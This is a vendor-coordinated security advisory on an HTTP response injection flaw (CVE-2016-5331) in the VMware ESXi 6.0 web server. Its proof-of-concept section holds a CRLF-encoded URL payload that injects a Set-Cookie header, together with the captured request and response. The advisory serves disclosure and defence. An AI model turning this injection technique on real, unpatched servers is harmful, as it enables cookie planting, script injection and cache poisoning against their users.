VMware vSphere Hypervisor (ESXi) HTTP Response Injection

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
Advisory ID: SYSS-2016-063  
Product: VMware vSphere Hypervisor (ESXi)  
Manufacturer: VMware, Inc.  
Affected Version(s): VMware ESXi 6.0.0 build 3380124 (Update 1)  
VMware vCenter Server 6.0 U2  
Tested Version(s): VMware ESXi 6.0.0 build 3380124 (Update 1)  
Vulnerability Type: Improper Input Validation (CWE-20)  
Risk Level: Medium  
Solution Status: Fixed  
Manufacturer Notification: 2016-07-01  
Solution Date: 2016-08-04  
Public Disclosure: 2016-08-05  
CVE Reference: CVE-2016-5331  
Authors of Advisory: Matthias Deeg (SySS GmbH)  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Overview:  
  
VMware vSphere Hypervisor is a type-1 hypervisor for serving virtual  
machines.  
  
The manufacturer describes the product as follows (see [1]):  
  
"Virtualize even the most resource-intensive applications with peace of  
mind. VMware vSphere Hypervisor is based on VMware ESXi, the hypervisor  
architecture that sets the industry standard for reliability and  
performance."  
  
Due to improper input validation, the web server of VMware ESXi 6 is  
prone to HTTP response injection attacks.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
The SySS GmbH found out that the web server of VMware ESXi 6 is   
vulnerable to HTTP response injection attacks, as arbitrarily supplied  
URL parameters are copied in the HTTP header Location of the server  
response without sufficient input validation.  
  
Thus, an attacker can create a specially crafted URL with a specific  
URL parameter that injects attacker-controlled data to the response  
of the VMware ESXi web server.  
  
Depending on the context, this allows different attacks. If  
such a URL is visited by a victim, it may for example be possible to  
set web browser cookies in the victim's web browser, execute arbitrary  
JavaScript code, or poison caches of proxy servers.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Proof of Concept (PoC):  
  
The following URL is a simple attack vector to illustrate the HTTP  
response header injection vulnerability by setting an  
attacker-controlled session cookie named "test" with the value "31337"  
within the victim's web browser:  
  
https://<HOST>/?syss%0d%0aset-cookie:test=31337%0d%0at=1  
  
The corresponding HTTP GET request and the VMware ESXi web server  
response are as follows:  
  
GET /?syss%0d%0aset-cookie:test=31337%0d%0at=1 HTTP/1.1  
Host: <HOST>  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Connection: close  
  
  
HTTP/1.1 303 See Other  
Date: Thu, 30 Jun 2016 15:12:23 GMT  
Connection: close  
Location: /?syss  
set-cookie:test=31337  
t=1/  
X-Frame-Options: DENY  
Content-Length: 0  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
The manufacturer VMware has fixed the reported security vulnerability  
and disclosed detailed information about the issue and a software update  
for affected products in its security advisory VMSA-2016-0010 [4].  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2016-07-01: Vulnerability reported to manufacturer  
2016-07-01: Manufacturer acknowledges e-mail with SySS security advisory  
2016-07-14: Manufacturer further investigates the reported security  
issue  
2016-07-22: Manufacturer announces disclosure of this security issue  
2016-08-04: Public release of VMware security advisory VMSA-2016-0010  
and security update  
2016-08-05: Public release of SySS security advisory  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Product website for VMware vSphere Hypervisor (ESXi)  
https://my.vmware.com/web/vmware/info/slug/datacenter_cloud_infrastructure/vmware_vsphere_hypervisor_esxi/6_0  
[2] SySS Security Advisory SYSS-2016-063  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-063.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy/  
[4] VMware Security Advisory VMSA-2016-0010   
http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
This security vulnerability was independently found and reported by  
Matthias Deeg of SySS GmbH, Vladimir Ivanov, Andrey Evlanin, Mikhail   
Stepankin, Artem Kondratenko, Arseniy Sharoglazov of Positive  
Technologies, Matt Foster of Netcraft Ltd, Eva Esteban Molina of   
A2secure and Ammarit Thongthua (see [4]).  
  
E-Mail: matthias.deeg (at) syss.de  
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc  
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may   
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web   
site.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v2  
  
iQIcBAEBCgAGBQJXpF3hAAoJENmkv2o0rU2rJr0P/RYc3j268fzTLERUG5CvLKYV  
HNI1a4p2/Mg0lzc/n1/7aZOzX9eRQe0jVyFkv90/843IWCdofQU3aqLBwFSIsFZP  
C9Tv3JYpk4T68uzCIriqxqHgt+qza1evfmPTOP2RHua0iaOOQSohzY/cWo3Uc9Yj  
Qag+JmnwPWZJNzkL1i41F6oO6aKurM65XBtmAdKQVQwwJ1WYMpiM3vV71hIq18sO  
OSJOgKQQMAR/1U7UVd3IgFIUv4+2mdDPyEdlnzPiTtpmJvZQf8H3k9054auCWBWa  
U2WOesD5FsCS4nBmuvlTc+jALlqC2SRRgR1UpiEvXTYYunWrOFustGnj4fFvgg7S  
omtMdN8dnWdD6BXZXg2k/yVH0WToVWtwV0meKtSg9b0jOywKBVzoYO19vpchHaz4  
/Eyxd8HQHpToM3OgwHagFXosF3TGxwQySPlDHdQD5gYANzDBhS8uQ02Gwx2v9NCX  
cC/jbTDUC0fa2qNJL/wwN7unqmrdOkGEYlvTjme6wlDR5axB46GunSH5yNg5OKFl  
G1s7lZ+ZbcywBxScLx1k7ITa1tNL3PNet5/Ld6A1hi3yhONmRgkyfgB+YqN04xaR  
3b5U6eqnPfm8d52yVPa7zySVc1vN9mrQ87dCmnXWGE9xk++SXoeDLv3PbKrY65Iy  
w/x007duLbe7k/xSJ1Ip  
=/k7W  
-----END PGP SIGNATURE-----  
`